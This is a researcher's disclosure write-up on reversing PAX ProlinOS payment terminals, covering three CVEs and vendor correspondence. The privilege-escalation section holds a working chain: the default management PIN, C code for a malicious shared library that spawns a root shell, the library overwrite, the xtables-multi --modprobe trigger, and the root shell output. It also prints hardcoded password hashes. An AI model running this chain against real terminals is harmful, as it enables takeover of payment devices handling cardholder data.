Exploiting a Linux-based payment terminal part 1: reversing to root
Published Jul 3, 2020
Note: See part 2 for a fully working exploit chain building on top of these vulnerabilities and more. As of 2025, to the surprise of no one, PAX has never delivered GPL patches, neither to me nor to any security researcher who contacted them in the years since this disclosure. Similarly, most devices remain unpatched, as there are limited possibilities for remote update delivery.
PAX Technology, a Chinese manufacturer of payment devices, claims to have delivered over 80 million terminals to 120 countries.
Their product lineup primarily consists of two types of devices:
- Devices based on ProlinOS, a custom operating system developed by PAX and derived from Android.
- Devices running a more standard version of Android, which are marketed as either SmartPOS or PayDroid.
This research focuses on devices running ProlinOS, which include (but is probably not limited to) the following models:
- D190
- D200
- D210
- Q80
- Q92
- S80
- S300
- S800
- S900
- S920
For this research, I purchased an S900 payment terminal from eBay and was fortunate to find a used model targeted at developers. Throughout this writeup, I will specify when certain findings apply only to the developer model and not the production versions. However, the differences between the two models are minimal in terms of vulnerabilities.
The following vulnerabilities were identified during the research:
- CVE-2020-28044: Arbitrary read/write
- CVE-2020-28045: ELF signature bypass
- CVE-2020-28046: Root privilege escalation
Recon
Before starting the analysis, I found the following resources very useful:
PDFs:
- Prolin 2.X User Guide (V1.0.7)
- Prolin TermAssist Operating Guide (v3.00)
- Prolin Terminal Manager Operating Guide (v2.01)
- CloudWalk Pax Documentation
- CloudWalk Pax Linux Documentation
Tools:
FCC Documents:
From the internal photos, it’s clear that the device includes an additional battery, multiple anti-tampering contacts, and a warranty sticker on the side. While hardware attacks may be possible, they are out of scope for this research due to my lack of skills and equipment. Additionally, hardware attacks would be challenging to execute in real-world scenarios because of the typical usage conditions of a POS terminal.
The S900 features a color display, WiFi, GSM, Bluetooth, an AC charging port, and two mini USB ports. According to the specifications, one USB port is used for serial communication, while the other supports USB communication. The device is powered by a Broadcom BCM5892, with 128MB of flash and 64MB of RAM.
ProlinOS is a minimal Linux distribution, likely derived from Android.
Communication
To access the management interface (called TM
, Terminal Management?), the device must be rebooted. On the S900, press the number 2
repeatedly during boot (even after the SELF-TEST
screen). For the D200 or D210, use the F2
key instead. Other devices likely have similar keys, which can be determined through trial and error.
Once in the management interface, navigate to System Config
, enter the default PIN (123456
), and enable the XCB service. While some terminals might use a different default PIN, it is almost never unique to each device. Instead, the PIN is typically set per distributor (e.g., all terminals from the same bank are likely to share the same PIN).
The XCB service can operate over both the serial interface and the network, depending on the device model and the version of ProlinOS.
- For serial interface: Use the driver provided in the links at the beginning of the post.
- For network interface: Connect the device to a WiFi network, and the service will be accessible at
<ip>:5555
.
The development kit available online consists of a GUI application called TermAssist
for Windows and an executable named xcb
. Notably, TermAssist
is simply a graphical wrapper for xcb
.
Interestingly, while xcb
stands for Xos Communication Bridge, it is essentially a slightly modified version of Android’s ADB
.
Custom Client
I reverse-engineered the client and modified python-adb
to support it (including functionality for the serial interface). You can find the repository for the custom client here:
Prolin XCB Client Repository.
Additionally, I submitted a Pull Request to the python-adb
project to add serial support.
The shell
functionality and several others have been removed in xcb
, but core commands like push
, pull
, ls
, and port forwarding are still available, even if not listed in the program help. Supposedly, xcb
is intended for the following tasks:
- Adding applications to the device (must be signed).
- Updating ProlinOS (signed packages required).
- Adding assets to existing applications (e.g., images, fonts – no signature required).
- Adding user-provided keys for signing packages (user keys must be signed by the PAX CA).
Additionally, xcb
includes a telnet
command that forwards a telnet daemon to the local machine. However, this command only works on development devices, as the telnet
binary is removed from BusyBox in production devices.
Debug Levels
ProlinOS devices operate at three debug levels:
Debug Level 0:
- Production devices.
- BusyBox lacks
sh
andtelnet
. xcb
works but is limited.
Debug Level 1:
- Application development devices.
- BusyBox includes both
sh
andtelnet
. gdbserver
is available.- Root access is disabled, and critical files like the kernel, kernel modules, and some PAX-specific configurations/binaries are unreadable.
Debug Level 2:
- Prolin development devices.
- Root access is available with a hardcoded password.
Device used for research
The device used in this research operates at Debug Level 1. A production device (Debug Level 0) lacks a working telnet
or shell by default. However, these functionalities can be restored by:
- Overwriting a shared library using the arbitrary read/write vulnerability in XCB.
- Porting already-signed binaries from an image of the same device.
This writeup will demonstrate how escalation to root privileges is possible from Debug Level 0.
Basic Linux info
From the development S900:
~ $ uname -a
Linux localhost 3.0.56+ #1 Wed Mar 9 13:09:46 CST 2016 armv6l GNU/Linux
~ $ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:7037 0.0.0.0:* LISTEN
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 842 /dev/socket/property_service
unix 2 [ ACC ] STREAM LISTENING 869 /tmp/crashd
unix 2 [ ACC ] STREAM LISTENING 877 /tmp/MODEM_DAEMON_SERVER
unix 2 [ ACC ] STREAM LISTENING 880 /tmp/MODEM_POWER
unix 2 [ ACC ] STREAM LISTENING 885 /tmp/pm_socket
unix 2 [ ] DGRAM 900 /var/run/wpa_supplicant/wlan0
unix 2 [ ACC ] STREAM LISTENING 913 /tmp/PED_DAEMON_SERVER
unix 2 [ ACC ] STREAM LISTENING 917 /tmp/PED_SHUTDOWN_SERVER
unix 2 [ ACC ] STREAM LISTENING 929 /tmp/ipservice_server
unix 3 [ ] STREAM CONNECTED 971
unix 3 [ ] STREAM CONNECTED 970
unix 3 [ ] STREAM CONNECTED 944
unix 3 [ ] STREAM CONNECTED 943
unix 3 [ ] STREAM CONNECTED 888
unix 3 [ ] STREAM CONNECTED 887
unix 3 [ ] STREAM CONNECTED 873
unix 3 [ ] STREAM CONNECTED 872
unix 3 [ ] STREAM CONNECTED 868
unix 3 [ ] STREAM CONNECTED 867
unix 3 [ ] STREAM CONNECTED 845
unix 3 [ ] STREAM CONNECTED 844
~ $ ls /bin
[ chown false killall ls mknod ps rz sync true yes
[[ clear find less lsb mount pwd sb sz udhcpc6
ash cp gdbserver ln lsx mv rb setprop tee umount
busybox date getprop lock lsz netstat readlink sh test uname
cat dmesg hexdump lrb md5sum nice rm sleep time vi
chgrp echo id lrx mkdir ping rmdir su top wget
chmod env kill lrz mkfifo ping6 rx sx touch xlogin
~ $ ls /usr/bin/
crashd ip6tables-save logcat systemservice xcbd
devinfo ipservice logwrapper tm xtables-multi
gpsd iptables modemd ts_calibrate
installer iptables-restore pedd wpa_supplicant
ip6tables iptables-save runapp wpa_supplicant_ap6181
ip6tables-restore keyman servicemanager xcb
~ $ lsmod
Module Size Used by Tainted: P
lcd_panel_TM035KBH08_36 2917 0
lcd_hw_ctrl 3175 0
lcd_fb 6024 2
asix 41551 0
prt_printer 259191 0
logger 265925 14
rsi_master 53658 0
rsi_client 210076 1 rsi_master
ads7846 7341 0
bcm589x_i2s 7153 0
verify 3046 0
bcm589x_sec 12844 0
bcm5892_bbl 7412 1
pcd_rc663 13826 0
pcd_base 6173 0
msr 15271 0
sci_bcm5892_tda8026 21068 0
keypad_matrix 5211 0
input_base 8589 2 ads7846,keypad_matrix
misc 6270 0
pmu_dummy 2878 4
bm_bq24103 1946 0
tty_host 10608 0
tty_devices 89511 2
bcm589x_otg 169745 1 tty_devices
bcm589x_dwccom 25580 1 bcm589x_otg
pm_bcm5892 3845 2 msr,keypad_matrix
ioconfig 8120 3 msr,sci_bcm5892_tda8026,keypad_matrix
S900_M07_P05_GPRS_MG323 2525 3 prt_printer,bm_bq24103,bcm589x_otg
devices_base 26185 7 pcd_base,msr,sci_bcm5892_tda8026,tty_host,tty_devices,bcm589x_otg,S900_M07_P05_GPRS_MG323
bcm5892_rtc 4938 0
Vulnerabilities
Arbitrary Read/Write (CVE-2020-28044)
As described in the “Communication” section, it is possible to list, read, and write files and folders with MAINAPP
permissions via XCB. This provides significant control over the device’s file system.
Signature bypass and code execution (CVE-2020-28045)
While ELF executables on the device must be signed to be executed (as will be discussed later), libraries apparently do not require such signatures. This creates a vulnerability where custom executables can run without restrictions if:
- A working shell is available and
LD_PRELOAD
is functional. - A library in use by an application can be overwritten, even without a shell.
The installer
binary, which is executed by xcbd
(the xcb
daemon server, akin to adbd
on Android), is responsible for verifying ELF signatures before binaries are added to the system. However, the kernel also performs a signature verification step, meaning ELF verification is handled both in userspace and via a kernel module.
The verification process uses the device /dev/verify
and issues ioctl
calls to send the binary file for validation. Based on the results of these calls, it can be determined if the binary is signed correctly. The signature format appears to be a straightforward RSA 2048 signature appended to the end of the file, along with the string SIGNED_VER:00001
.
Privilege Escalation (CVE-2020-28046)
On the device, there are two primary vectors for privilege escalation:
Kernel exploits:
The outdated kernel is vulnerable to Dirty COW and several other well-known kernel exploits. However, despite attempting multiple Dirty COW payloads, I was unable to achieve escalation. As the kernel has been modified by PAX developers, debugging is restricted, and I lacked the privileges and tools needed to investigate further.The
xtables-multi
binary:
The onlysetuid
binary present on the system isxtables-multi
. This binary serves as the xtables multi-link binary for Netfilter’s iptables and ip6tables. It provides a more promising avenue for escalation due to its elevated privileges and functionality.
~ $ xtables-multi
ERROR: No valid subcommand given.
Valid subcommands:
* iptables
* main4
* iptables-save
* save4
* iptables-restore
* restore4
* iptables-xml
* xml
* ip6tables
* main6
* ip6tables-save
* save6
* ip6tables-restore
* restore6
~ $ xtables-multi iptables
iptables v1.4.21: no command specified
Try `iptables -h' or 'iptables --help' for more information.
The version of xtables-multi
on the device is not particularly recent. After conducting a brief search, it appears theoretically vulnerable to CVE-2019-11360. Upon examining the xtables-multi
binary (which seems to have undergone minimal modification from the original version) and referencing the source code of version 1.4.21, it becomes evident that the vulnerability should indeed exist.
The following vulnerabilities can be observed in the source code of version 1.4.21:
- In
iptables-restore.c
, the original buffer overflow is present, as described by the author of the CVE. - Similarly,
ip6tables-restore.c
contains the same vulnerability. - An additional, almost identical buffer overflow exists in
iptables-xml.c
. In this case, a quoted string can exceed the size ofparam_buffer[1024]
, which is then written usingstrncpy(param_buffer, param_start, param_len);
without proper length checks. Although this issue was fixed alongside the other two, the vulnerable code was removed prior to the release of the patched version, likely because the Netfilter developers noticed it.
After a few tests, it was possible to trigger a Segfault in both cases. ASLR is enabled and the NX bit is set, and there is no quick way to attach a debugger on the device itself. Although this approach seemed promising, there are simpler ways to achieve privilege escalation.
The iptables
utility includes a --modprobe
option, which is briefly mentioned in the usage documentation but is not explicitly described in terms of its functionality or behavior. I had previously leveraged this option for privilege escalation in a local CTF, where iptables
was the only command permitted via sudoers
.
The --modprobe
option essentially allows the user to specify a command to execute when loading a kernel module. If the specified module is missing (which is a prerequisite for triggering this behavior), the provided command will be executed. For example, if the nat
module is unloaded, --modprobe
can be used to run any executable or shell script. This makes it a straightforward and powerful vector for privilege escalation.
To exploit the --modprobe
option, the first requirement is that the required module (e.g., nat
) must be missing. Running the following command confirms this condition:
~ $ iptables -t nat -L
iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.
However, the exploit initially failed because the command provided to --modprobe
did not execute. After some investigation, I discovered that before attempting to load the module, the code checks for the existence of the file /proc/net/ip_tables_names
and uses it as a reference:
~ $ ls -lart /proc/net/ip_tables_names
-r--r----- 1 root root 0 Jun 1 17:29 /proc/net/ip_tables_names
Fortunately, there’s an alternative: ip6tables
, which checks a different file—/proc/net/ip6_tables_names
. Since IPv6 adoption is still incomplete in many systems, this file often does not exist. On my device, this was indeed the case:
~ $ ls /proc/net/ip6_tables_names
ls: /proc/net/ip6_tables_names: No such file or directory
With this workaround, it is possible bypass the existence check and proceed to execute commands via --modprobe
.
To execute a command or script, it must either be a signed executable or a script interpreted by a signed binary (e.g., BusyBox). While scripts do work because the BusyBox interpreter is signed, running BusyBox directly in this way results in it immediately dropping privileges. Moreover, LD_PRELOAD
cannot be passed to an execv
call, so the only viable method is to replace a shared library used by a signed executable that we have permission to execute.
Luckily, on my device, there were two user-installed applications (every operational terminal must have at least one). Both of these applications utilized shared libraries writable by the low-privileged user. While this behavior might seem problematic, it isn’t inherently a vulnerability. The current user is the one responsible for installing and maintaining applications and their associated assets, so they are expected to have the ability to overwrite them if needed.
Using some simple code, we can escalate privileges by overwriting a shared library and utilizing the --modprobe
option with xtables-multi
. Here’s the exploit code:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
int _init() {
unsetenv("LD_PRELOAD");
puts("LD_PRELOAD is working!");
setreuid(0, 0);
setuid(0);
printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
system("/bin/sh");
exit(0);
}
The code is cross-compiled as follows:
user@host#: arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static
On the device, the following user-writable executables were identified:
~ $ ls /data/app/MAINAPP/bin/
MablApp MerchantDeviceApp
The libraries required by the MablApp
are as follows:
host:/# arm-none-eabi-objdump -x MablApp | grep NEEDED
NEEDED libosal.so
NEEDED libarchive.so.13
NEEDED libsqlite3.so
NEEDED libcrypto.so.1.0.0
NEEDED libz.so.1
NEEDED libfreetype.so.6
NEEDED libpng12.so.0
NEEDED libpthread.so.0
NEEDED libts-1.0.so.0
NEEDED libxui.so
NEEDED libgcc_s.so.1
NEEDED libc.so.6
These libraries are located in /data/app/MAINAPP/lib/
on the device. I chose to overwrite libsqlite3.so
with the compiled privesc.so
.
The following demonstrates the process and successful privilege escalation:
/data/app/MAINAPP $ id
uid=999(MAINAPP) gid=999(MAINAPP) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
/data/app/MAINAPP $ xtables-multi ip6tables -t nat -L --modprobe=/data/app/MAINAPP/bin/MablApp
LD_PRELOAD is working!
My UID is: 0. My GID is: 999. My EUID is: 0
BusyBox v1.22.1 (2016-03-09 12:47:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/data/app/MAINAPP # id
uid=0(root) gid=999(MAINAPP) egid=0(root) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
System analysis
The bootloader used on the device is U-Boot. Below is the partition scheme:
dev: size erasesize name
mtd0: 000c0000 00020000 "boot" <- U-Boot image
mtd1: 00080000 00020000 "nvram_fac" <- U-Boot environment
mtd2: 000c0000 00020000 "boot_res" <- Boot resources, ie: boot logo
mtd3: 00400000 00020000 "kernel" <- kernel binary
mtd4: 00600000 00020000 "ramdisk" <- ramdisk containing init and kernel modules
mtd5: 00600000 00020000 "base" <- base system, including binaries and libraries
mtd6: 06e00000 00020000 "data" <- user data, application executables, libraries, and assets
The file init.rc
provides insight into how the system is started and how different debug levels are handled. From there, it seems like every device is shipped with all the debug level 2 executables, and that those gets deleted at every boot.
The GUI management binary is /usr/bin/tm
. The system password is AES-encrypted and stored in a user-readable property.
A lot of functionality is implemented via kernel modules, available here.
Drivers and Libraries
Hardware drivers are implemented through a combination of a low-level kernel module and a higher-level abstraction module. The abstraction module is exposed via the libosal.so
library.
For example, in this hardware revision of the S900, the RFID reader is supported as follows:
pcd_rc663.ko -> Hardware driver
pcd_base.ko -> Middleware, creates /dev/pcd
libosal.so -> Shared library, provides the OsPicc* functions through interactions with /dev/pcd
Other devices include:
- Magnetic Stripe Reader: Functions
OSMsr*
interact with the/dev/msr
device. - Smart Cards: Functions
OsIcc*
interact with the/dev/usercard
device. - Graphical Interface: Provided by
libxui.so
.
Further Reasearch
By finding a vulnerability in a Merchant App, in libosal.so
or in one in the kernel drivers a remote attack via a payment vector is theoretically possible. Unfortunately, due to the lack of second hand production PoS in the used market, I’m unable to get a test device with a working Merchant App unless I open a contract with a bank (which I don’t want to). If anyone has contacts or is willing to provide one, or need assistance for futher research drop me an email or a tweet.
Reporting
I tried contacting several times PAX Global via email and never got a reply related to anything: neither about the security vulneabilities, neither on inquiries about the source code for the GPL licensed software (Linux/U-Boot).
Following this public disclosure PAX got in touch with me. It turned out my previous emails on June 2020 were marked as spam and never read. Here’s their official answer for the following two question:
- Don’t you have a patch distribution method and a remediation plan for vulnerabilities in your devices?
We apply relevant security patches to all software components we use.
For vulnerabilities •Arbitrary read/write - CVE-2020-28044, •ELF signature bypass - CVE-2020-28045 and •Root privesc - CVE-2020-28046, we have fixed them these days and the firmware is under releasing.
For vulnerabilities “Dirty COW”, our kernel had “Dirty COW” patch included once CVE-2016-5195 had been published.
- Do you plan to release the source code, patches and build scripts for the modifications to the GPL licensed code?
We certainly do comply with GPL version requirements, and had provided source code at requests before several years ago. Since we do not have automated or semi-automated procedure for that, we may need up to several weeks to review and isolate our proprietary code, and adjust the build scripts for the redaction.
Fun fact
I had issues understanding the shadow
password format:
root:vCTc/8H/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!/hEAV1:0:0:99999:7:::
hwdev:!.:0:0:99999:7:::
ped:!/:0:0:99999:7:::
SUBAPP:!:0:0:99999:7:::
MAINAPP:.olBn7f02Wgf.:0:0:99999:7:::
Until I found how that file is being generated (/startup/data-skeleton.sh
):
[..]
/bin/cat << EOD > /data/etc/shadow
root:$1$9vCTc/8H$lRt/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!$1$phzwtsL4$Qso0Z3H5eqoSUXwQ/hEAV1:0:0:99999:7:::
hwdev:!$1$jDG2WeUj$uM3mIyvZ1rkd11J7izXt6.:0:0:99999:7:::
ped:!$1$ZMsJtrjO$ibuMCiJvuyxQnrpkdptup/:0:0:99999:7:::
SUBAPP:!$1$gJUpez2c$U0Qv9IyoUAgD5cTSumbKB0:0:0:99999:7:::
MAINAPP:$1$wsdZqcgf$zD5mTBbZs.olBn7f02Wgf.:0:0:99999:7:::
EOD
/bin/chmod 0640 /data/etc/shadow
[..]
Sigh…